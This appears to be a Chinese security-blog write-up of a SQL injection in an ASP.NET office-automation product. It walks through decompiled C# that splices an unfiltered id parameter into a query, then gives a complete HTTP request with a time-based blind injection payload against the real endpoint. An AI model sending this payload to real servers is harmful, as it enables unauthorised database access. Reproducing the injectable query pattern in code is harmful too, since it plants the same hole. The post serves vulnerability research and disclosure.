xhys121zero2026-03-13文章来源:SecHub网络安全社区
前景提要:使用的是dnSpy工具进行了反编译操作,反编译后是c#代码
首先ctrl+shift+k进入全局搜索,我们直接搜索GeneralXmlhttpPage

切记不要进入到.ctor中,而是选择下面后框中的内容
点击进入这个CheckAppraiseState方法,该方法用于用于检查评价的状态

分析:
public string CheckAppraiseState()
{
string arg = string.Empty;
//对前端输入来的id值进行非空的判断
if (base.Request.QueryString["id"] != null)
{
//若不为空就将其值赋值给arg
arg = base.Request.QueryString["id"].ToString();
}
//使用 string.Format 方法,根据 arg 的值构建一个SQL查询字符串,用于从 appraise 表中选择 AppraiseID 对应的 AppraiseOverFlag 字段。
string queryString = string.Format("select AppraiseOverFlag from appraise where AppraiseID = '{0}'", arg);
//执行sql语句
DataTable dataTable = this.db.ExecSQLReDataTable(queryString);
string result;
//判断sql语句的执行是否错误
if (!this.db.IsError)
{//若没有错误,判断执行的语句的结果行数是否大于0
if (dataTable.Rows.Count > 0)
{ //若行数>0,将第一行获取 AppraiseOverFlag 字段的值,并将其赋值给 result。
string text = string.Format("{0}", dataTable.Rows[0][0]);
result = text;
}
else
{
result = "";
}
}
else
{
result = "";
}
//返回result
return result;
在上述代码中直接将前端输入来的id值通过Format方法赋值到对应的sql语句中,之后通过ExecSQLReDataTable方法执行sql语句,返回结果。现在我们就去这个From方法查看对我们的id值是否有相关的过滤
因为本人对c#也不是特别了解就去简单查询了一下From方法
String.Format是将指定的 String类型的数据中的每个格式项替换为相应对象的值的文本等效项。
举例
string p1 = "Jackie";
string p2 = "Aillo";
Response.Write(String.Format("Hello {0}, I'm {1}", p1, p2));//结果:Hello Jackie, I'm Aillo
Form方法可以说是一个简单的拼接方法,并没有对我们sql语句进行过滤操作
造成sql注入的主要原因还是因为对前端传入的id值没有进行过滤进而导致漏洞的实现
GET /C6/Jhsoft.Web.appraise/GeneralXmlhttpPage.aspx/?type=CheckAppraiseState&id=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
